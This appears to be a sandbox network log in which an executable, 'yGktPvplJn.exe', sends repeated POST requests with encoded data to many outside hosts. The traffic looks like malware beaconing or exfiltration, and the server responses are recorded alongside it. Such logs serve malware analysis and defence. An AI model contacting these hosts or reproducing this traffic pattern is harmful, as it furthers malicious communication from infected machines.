76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 [TRUNCATED] Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Oct 25, 2024 11:17:40.988157988 CEST	173	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache Content-Length: 27 Content-Type: text/html; charset=iso-8859-1 Data Raw: 59 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 61 73 20 72 65 66 75 73 65 64 Data Ascii: Your connection was refused
Oct 25, 2024 11:17:40.989641905 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fe-bauer.de Cache-Control: no-cache Data Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 [TRUNCATED] Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Oct 25, 2024 11:17:41.412328959 CEST	173	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Content-Length: 27 Content-Type: text/html; charset=iso-8859-1 Data Raw: 59 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 61 73 20 72 65 66 75 73 65 64 Data Ascii: Your connection was refused
Oct 25, 2024 11:17:41.427834988 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fe-bauer.de Cache-Control: no-cache Data Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 [TRUNCATED] Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Oct 25, 2024 11:17:41.680059910 CEST	173	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Content-Length: 27 Content-Type: text/html; charset=iso-8859-1 Data Raw: 59 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 61 73 20 72 65 66 75 73 65 64 Data Ascii: Your connection was refused
Oct 25, 2024 11:17:41.765646935 CEST	790	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fe-bauer.de Cache-Control: no-cache Data Raw: 69 6d 55 47 6d 67 7a 78 32 66 71 46 51 6a 46 75 64 2f 69 32 57 52 2b 59 63 41 4c 6b 30 6e 78 47 41 41 75 59 77 79 77 44 43 57 77 47 59 4d 4d 77 31 5a 7a 73 57 61 75 30 35 56 6d 31 4d 6b 69 44 31 57 35 78 68 6b 6d 57 48 42 71 5a 74 52 6b 39 74 43 46 6f 71 57 32 5a 64 4c 44 6f 45 42 75 50 69 75 77 59 67 43 73 47 34 6c 33 58 32 47 74 4c 69 38 54 52 32 6b 36 77 50 44 71 62 6b 35 65 61 79 6f 79 73 73 39 59 31 70 62 33 50 6d 4c 67 37 72 2f 53 31 2f 57 2b 72 79 31 78 46 49 63 4d 37 49 6a 52 43 4e 56 68 33 4e 34 72 58 34 57 44 62 66 6c 7a 44 59 32 68 44 54 62 4a 38 77 77 71 53 55 2f 68 73 45 70 71 77 75 77 74 34 66 32 4c 4f 2f 56 59 62 35 6a 61 39 77 65 32 46 4f 4b 62 45 52 30 79 39 34 72 54 78 54 54 71 58 41 68 48 54 47 73 6a 36 61 33 50 68 59 48 51 78 6d 62 67 6c 46 4d 4e 6c 5a 4c 74 30 4f 72 4f 37 70 58 7a 6c 4a 51 4b 73 5a 37 73 78 48 39 51 6e 4e 41 76 43 49 76 4c 4b 78 78 54 38 65 33 72 6e 73 54 39 5a 33 66 6a 37 4d 63 5a 2b 57 6c 6d 6f 73 68 76 2b 75 35 51 63 72 47 52 4b 55 6a 52 32 42 49 64 4b 4d 42 [TRUNCATED] Data Ascii: imUGmgzx2fqFQjFud/i2WR+YcALk0nxGAAuYwywDCWwGYMMw1ZzsWau05Vm1MkiD1W5xhkmWHBqZtRk9tCFoqW2ZdLDoEBuPiuwYgCsG4l3X2GtLi8TR2k6wPDqbk5eayoyss9Y1pb3PmLg7r/S1/W+ry1xFIcM7IjRCNVh3N4rX4WDbflzDY2hDTbJ8wwqSU/hsEpqwuwt4f2LO/VYb5ja9we2FOKbER0y94rTxTTqXAhHTGsj6a3PhYHQxmbglFMNlZLt0OrO7pXzlJQKsZ7sxH9QnNAvCIvLKxxT8e3rnsT9Z3fj7McZ+Wlmoshv+u5QcrGRKUjR2BIdKMBzeZ261KzuGnol712ypHL3Npl5T178ONuduBbcA9WWTh0C0XikhaqoDwRFf/btJp/MDOxS+GJUsUWsEInyBFq+kFQiniKAk6A8Ra72q6zLvgSwdNWgk+4Zj8YAUBIXObroy7ol3cKB+8LevrP1WKnulqqufaxHxk3nFO/53o+9b3mQVWACLzQFpZV3QPQ8ubg79FJ6D8JDxut08EIk1BJSccw==
Oct 25, 2024 11:17:42.018188000 CEST	173	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Content-Length: 27 Content-Type: text/html; charset=iso-8859-1 Data Raw: 59 6f 75 72 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 61 73 20 72 65 66 75 73 65 64 Data Ascii: Your connection was refused

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	52629	69.163.182.181	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.825706959 CEST	777	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 544 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.jchysk.com Cache-Control: no-cache Data Raw: 35 67 5a 78 48 75 7a 38 76 50 71 55 72 4c 52 6a 31 39 50 5a 39 2f 2f 79 6c 30 42 45 44 50 6d 57 34 43 7a 4a 44 31 45 6b 71 42 68 52 74 78 67 39 30 52 67 6f 53 6d 66 77 79 30 48 37 75 65 7a 61 2b 4b 6d 2f 48 4e 65 39 78 41 43 53 65 58 66 70 4c 36 62 6e 62 72 38 65 53 32 35 30 30 2f 49 6c 42 4f 48 5a 6b 4c 6a 53 59 49 67 6b 6c 6f 6d 34 44 5a 4d 44 58 4d 36 57 43 4b 6b 53 35 49 4d 79 72 43 33 51 42 46 55 56 75 4c 77 38 4c 66 4a 48 6e 6a 35 4b 2f 49 38 2f 4e 58 59 55 6d 63 2b 7a 54 55 42 48 6e 6c 38 65 65 37 4c 4f 39 55 52 31 53 38 64 62 2b 6d 4b 70 75 47 79 71 31 6a 41 39 2f 50 2f 52 55 76 55 2b 41 65 6b 33 4c 4a 6f 69 6e 62 4d 33 48 56 56 2b 50 44 39 62 75 57 50 44 59 73 73 6d 6f 36 61 73 61 41 62 45 54 4a 66 48 51 38 6a 37 6b 34 48 47 5a 44 54 65 73 65 6a 4b 76 42 66 59 50 56 48 72 55 43 56 36 44 51 42 69 2f 51 55 51 57 73 45 36 7a 39 44 30 30 6e 44 42 51 32 6e 66 47 44 63 7a 58 4f 2f 47 30 33 31 4b 52 4e 57 79 74 4c 2b 64 32 43 56 63 38 34 4e 62 33 34 54 50 31 51 42 2f 76 6e 68 4f 48 6f 6a 66 6a 4c [TRUNCATED] Data Ascii: 5gZxHuz8vPqUrLRj19PZ9//yl0BEDPmW4CzJD1EkqBhRtxg90RgoSmfwy0H7ueza+Km/HNe9xACSeXfpL6bnbr8eS2500/IlBOHZkLjSYIgklom4DZMDXM6WCKkS5IMyrC3QBFUVuLw8LfJHnj5K/I8/NXYUmc+zTUBHnl8ee7LO9UR1S8db+mKpuGyq1jA9/P/RUvU+Aek3LJoinbM3HVV+PD9buWPDYssmo6asaAbETJfHQ8j7k4HGZDTesejKvBfYPVHrUCV6DQBi/QUQWsE6z9D00nDBQ2nfGDczXO/G031KRNWytL+d2CVc84Nb34TP1QB/vnhOHojfjL2aTk22XMuEpR1M+bUbsmOfoizz3sDOALbg89JF0D7kUJq1Vjn7+LZw2GOgBsD+0QsIsimNTQ77KUMOMXTYAdf5BNWYz03+YPSGRUWu5SwTjebbtgex1dLtMrLWMl8j+HYquoypc4KFKJmfzV81q03DPhUtevYIWEQDqiK9cbjwNW7Kv9V2izYXyvY8A9mBLzaOARlK+tvgUo8=
Oct 25, 2024 11:17:40.702289104 CEST	690	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache Content-Length: 533 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6a 63 68 79 73 6b 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@jchysk.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	52630	13.248.169.48	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:39.876209021 CEST	809	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.findbc.com Cache-Control: no-cache Data Raw: 50 75 4b 67 66 43 4f 64 36 66 71 4c 61 2b 49 50 71 75 42 53 5a 30 78 37 71 57 52 4a 6f 75 4f 33 42 30 32 67 46 72 46 43 61 79 59 70 56 52 43 46 35 58 6d 64 66 70 44 7a 6d 4b 65 78 41 76 4d 72 30 4c 41 2f 31 41 44 72 71 5a 62 35 77 2b 2b 71 6f 66 41 70 6c 6c 56 77 4f 46 4d 59 53 61 77 4a 6b 68 36 53 55 36 69 41 4e 67 73 43 42 6b 62 49 7a 51 6d 4f 35 36 32 46 50 5a 44 75 7a 39 73 58 65 35 2b 58 4b 50 30 41 74 54 4c 6e 6a 69 53 77 64 58 4b 77 71 6d 6b 57 50 48 58 33 33 6a 6c 6d 75 54 53 37 79 2f 72 4e 2f 6c 50 61 4d 79 45 6d 41 4b 79 39 52 37 2f 5a 77 31 43 37 70 75 38 52 4f 56 6a 6e 70 49 2b 71 72 42 72 6c 47 47 32 38 49 2b 43 53 43 4f 77 33 37 62 76 34 38 55 55 64 43 33 52 56 5a 79 2b 61 6d 62 52 66 50 6d 52 5a 6b 35 4a 33 55 59 6d 77 31 65 74 5a 6a 74 6d 45 4b 6c 67 47 31 4f 2b 50 38 54 44 32 54 78 7a 67 54 77 38 78 77 36 2f 61 41 41 6e 79 7a 36 51 56 36 68 63 72 51 51 39 6d 35 2f 77 39 51 67 33 4f 53 61 4a 6a 63 41 4d 33 43 46 4f 48 48 6d 43 33 4d 70 57 67 70 74 74 45 54 49 41 61 57 39 46 5a 4e 52 [TRUNCATED] Data Ascii: PuKgfCOd6fqLa+IPquBSZ0x7qWRJouO3B02gFrFCayYpVRCF5XmdfpDzmKexAvMr0LA/1ADrqZb5w++qofApllVwOFMYSawJkh6SU6iANgsCBkbIzQmO562FPZDuz9sXe5+XKP0AtTLnjiSwdXKwqmkWPHX33jlmuTS7y/rN/lPaMyEmAKy9R7/Zw1C7pu8ROVjnpI+qrBrlGG28I+CSCOw37bv48UUdC3RVZy+ambRfPmRZk5J3UYmw1etZjtmEKlgG1O+P8TD2TxzgTw8xw6/aAAnyz6QV6hcrQQ9m5/w9Qg3OSaJjcAM3CFOHHmC3MpWgpttETIAaW9FZNRAlh7rUCYK7F3emOylW8tEaoTSaZ2vw81lCwskr+eEfIL5+ZZmq7NEWA7u0cih1IaSl6lZZMaiy4uw2gADETX3/1c+lCy8BWDBXk2eRWbrUEJ2PSHJHFzLHdR8574WEyVcCTt/PsBaF7mmJFD248JoCyTytk2sIL3rnsX7sNSKWEoxhD1T9ngF+NfpTIRbXjyQit65TASlavb2t2TrQ1F3IL1IRjLAVSGsOMbLLVfQQM3s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	52631	75.119.202.130	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.096090078 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 556 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fink.com Cache-Control: no-cache Data Raw: 6a 34 44 6f 51 51 7a 66 46 2f 6f 75 2b 62 32 57 64 77 36 77 4f 68 2b 36 32 74 50 6b 4b 4e 51 65 41 4e 6c 75 74 61 52 77 69 62 58 76 46 52 4f 2b 77 79 33 72 53 6a 68 72 62 42 6f 6e 59 76 31 69 52 4a 78 76 6a 53 4b 50 34 53 69 54 44 53 5a 42 69 34 32 53 72 58 39 67 6e 41 6e 32 42 6e 4a 49 53 64 74 76 54 6b 52 6e 42 4f 65 63 67 4f 41 4f 33 68 4a 65 6d 4b 30 34 59 30 39 32 39 4b 33 2f 66 50 79 6d 51 41 53 49 5a 31 42 5a 63 52 7a 45 63 2b 57 4e 44 63 6a 73 65 6e 74 65 4a 67 66 47 6c 77 52 44 7a 31 55 59 7a 42 33 6d 49 75 63 30 6f 4a 35 6b 2f 34 6a 4e 73 36 32 48 72 4a 4c 42 62 39 67 4d 69 34 52 33 32 54 31 70 44 2b 61 4f 7a 6f 62 6c 31 41 4d 51 47 59 4a 66 42 31 30 4b 5a 43 75 57 54 62 59 6e 34 68 6b 31 44 38 30 37 35 6d 70 77 2b 74 45 45 73 42 35 75 69 46 65 4c 41 4d 6f 6a 6b 79 61 4f 44 53 4f 30 62 64 4d 61 6f 41 2b 52 30 31 6a 30 4e 59 4c 66 36 6c 34 6b 75 4c 73 48 4d 79 62 39 62 52 5a 56 42 51 74 50 5a 65 58 47 46 68 50 2b 4c 71 44 61 6a 35 39 6d 64 68 35 34 62 66 72 75 6d 6a 34 44 72 37 51 48 74 50 [TRUNCATED] Data Ascii: j4DoQQzfF/ou+b2Wdw6wOh+62tPkKNQeANlutaRwibXvFRO+wy3rSjhrbBonYv1iRJxvjSKP4SiTDSZBi42SrX9gnAn2BnJISdtvTkRnBOecgOAO3hJemK04Y0929K3/fPymQASIZ1BZcRzEc+WNDcjsenteJgfGlwRDz1UYzB3mIuc0oJ5k/4jNs62HrJLBb9gMi4R32T1pD+aOzobl1AMQGYJfB10KZCuWTbYn4hk1D8075mpw+tEEsB5uiFeLAMojkyaODSO0bdMaoA+R01j0NYLf6l4kuLsHMyb9bRZVBQtPZeXGFhP+LqDaj59mdh54bfrumj4Dr7QHtPMGxte++ZAZ9daPDxySYtmf/Cu7y8+OV+PYef9XXEh/fHVH1GtIO5i8Q9Ez1ZhQ+8aBeSD7jTlE3kf4Es4Zl1urdQ430HbW5AZUEsh1GU3DcdohX4WIfZO5WNWXTcTmt/yFyzsHMzKe1WmGDxxnYomBriT0XSBH0lv158IXwtFJ/aa2dWrOSrjFkS1UrFNB2WbVhMpJXsdb+5ttsjAClqdeqAxC
Oct 25, 2024 11:17:40.811203003 CEST	688	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 25 Oct 2024 09:17:40 GMT Server: Apache Content-Length: 531 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 66 69 6e 6b 2e 63 6f 6d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@fink.com to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	52633	183.90.183.73	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:40.266647100 CEST	815	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 580 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ex-olive.com Cache-Control: no-cache Data Raw: 79 6c 31 63 72 63 2b 52 32 76 6f 76 54 73 32 76 62 74 54 58 54 4e 6a 4d 53 4f 78 6c 67 72 78 78 63 78 59 75 4c 4d 79 44 65 69 58 6a 38 76 37 53 55 6e 6e 6b 4f 56 52 39 6b 6b 49 51 67 64 4c 41 65 48 6e 68 64 63 39 44 35 38 47 4e 36 39 30 58 71 6f 2f 35 6d 73 56 73 4d 70 73 6c 6a 58 35 50 39 6c 69 79 45 75 64 53 37 71 42 6d 42 57 66 4a 4e 73 78 6d 68 47 63 31 33 56 36 72 47 69 49 56 37 31 48 78 66 34 2b 71 6a 63 52 34 2b 42 64 30 50 4b 51 6b 6b 6a 78 37 56 55 34 46 32 4f 43 59 56 54 6f 47 77 4c 5a 6e 4a 4a 5a 42 45 45 31 69 54 4b 47 34 45 50 75 69 76 78 79 4d 4c 30 69 68 67 41 51 50 79 57 55 64 4a 6a 73 31 4a 6e 6d 48 50 59 67 42 6e 76 6a 75 76 6c 72 53 6a 57 6c 69 59 55 66 35 6d 6a 30 39 4d 48 45 36 66 73 79 6e 67 74 55 6d 56 31 49 47 66 58 33 35 51 43 6b 48 55 4d 46 6c 70 35 49 62 48 57 4c 6f 50 51 43 37 4b 4f 53 33 6c 68 78 73 67 64 73 72 47 31 6b 36 6b 36 6a 55 47 4d 79 47 72 4c 72 4e 42 6e 6c 33 48 4e 70 53 73 72 58 43 45 6c 43 67 6f 78 48 6d 6a 31 71 45 2f 67 54 4b 51 6d 4a 50 46 6b 54 2b 78 72 [TRUNCATED] Data Ascii: yl1crc+R2vovTs2vbtTXTNjMSOxlgrxxcxYuLMyDeiXj8v7SUnnkOVR9kkIQgdLAeHnhdc9D58GN690Xqo/5msVsMpsljX5P9liyEudS7qBmBWfJNsxmhGc13V6rGiIV71Hxf4+qjcR4+Bd0PKQkkjx7VU4F2OCYVToGwLZnJJZBEE1iTKG4EPuivxyML0ihgAQPyWUdJjs1JnmHPYgBnvjuvlrSjWliYUf5mj09MHE6fsyngtUmV1IGfX35QCkHUMFlp5IbHWLoPQC7KOS3lhxsgdsrG1k6k6jUGMyGrLrNBnl3HNpSsrXCElCgoxHmj1qE/gTKQmJPFkT+xrjaqKm/oAynTUE09PrilA77H2Eup35OJ49ZtXH3JWS3Vh2hDoCKNfwqYR07Up+NMS2xxr9ZEEY4DA6kGwPlRCsr24OTOngCmw8n4voqCoxOtutoalzKBMsFaL4AhJLzPF8Hhq5Q8GbUkVkLLWtw53ZkLFFb1okL+4oSAXcvvzYg7vlWoNfuJ7TdPRhlRLVuA+FD8h8/FMVsYJXUHb9lPmIiSyR0YOuAxMH4aY4Xsk7HtN+A770=
Oct 25, 2024 11:17:41.412509918 CEST	1236	IN	HTTP/1.1 200 OK Date: Fri, 25 Oct 2024 09:17:41 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Link: <https://www.ex-olive.com/wp-json/>; rel="https://api.w.org/", <https://www.ex-olive.com/wp-json/wp/v2/pages/15>; rel="alternate"; type="application/json", <https://www.ex-olive.com/>; rel=shortlink Set-Cookie: PHPSESSID=atushmpkrhuqa87aie074ttki7; path=/ Vary: Accept-Encoding,User-Agent Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 65 34 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 